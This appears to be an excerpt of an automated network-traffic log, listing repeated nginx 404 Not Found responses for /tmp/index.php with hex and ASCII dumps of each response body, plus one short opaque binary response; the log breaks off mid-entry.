PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:00 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:03 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:04 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:05 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:06 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:07 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:08 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:09 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:11 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:12 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:13 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:14 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:15 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:16 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 59 39 08 a5 6c 5f b5 ac 17 bd cf b4 fe 6d 9f 3d d4 a1 72 0a 41 c2 8f 97 cb Data Ascii: #\6Y9l_m=rA
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 22:20:19 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC 